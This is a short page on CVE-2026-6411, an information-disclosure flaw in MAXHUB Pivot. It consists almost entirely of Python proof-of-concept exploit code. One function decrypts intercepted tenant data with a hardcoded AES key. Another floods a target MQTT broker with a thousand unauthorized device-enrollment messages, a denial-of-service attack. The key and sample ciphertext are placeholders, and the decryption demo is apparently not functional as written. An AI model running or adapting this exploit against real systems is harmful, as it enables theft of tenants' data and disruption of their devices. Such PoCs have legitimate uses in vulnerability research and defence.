CVE-2026-6411 MAXHUB Pivot 信息泄露漏洞

import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import paho.mqtt.client as mqtt # The AES key is hardcoded in the application (simulated extraction) HARDCODED_AES_KEY = b'0123456789abcdef0123456789abcdef' # Example 32-byte key def decrypt_tenant_data(encrypted_data_b64): """ Decrypts intercepted tenant data using the extracted hardcoded key. """ try: key = HARDCODED_AES_KEY # Assuming CBC mode and a static or null IV for this PoC cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00' * 16) encrypted_bytes = base64.b64decode(encrypted_data_b64) decrypted = unpad(cipher.decrypt(encrypted_bytes), AES.block_size) return decrypted.decode('utf-8') except Exception as e: return f"Decryption error: {e}" def trigger_dos_via_mqtt(target_broker): """ Simulates a DoS attack by enrolling multiple unauthorized devices via MQTT. """ client = mqtt.Client("Attacker_Device") try: client.connect(target_broker, 1883, 60) print(f"Connected to {target_broker}, starting flood...") for i in range(1000): # Publish enrollment requests to valid tenant topics topic = f"tenant/enroll" payload = f"{{\"device_id\": \"malicious_{i}\"}}" client.publish(topic, payload) print("Flood complete.") except Exception as e: print(f"MQTT connection failed: {e}") if __name__ == "__main__": # 1. Demonstrate Decryption sample_encrypted = "U2FsdGVkX1+vupppZksvRf5pq5g5XjFRlipRkwB0K1Y=" # Placeholder print(f"Decrypted Data: {decrypt_tenant_data(sample_encrypted)}") # 2. Demonstrate DoS (requires valid broker) # trigger_dos_via_mqtt("mqtt.maxhub-target.com")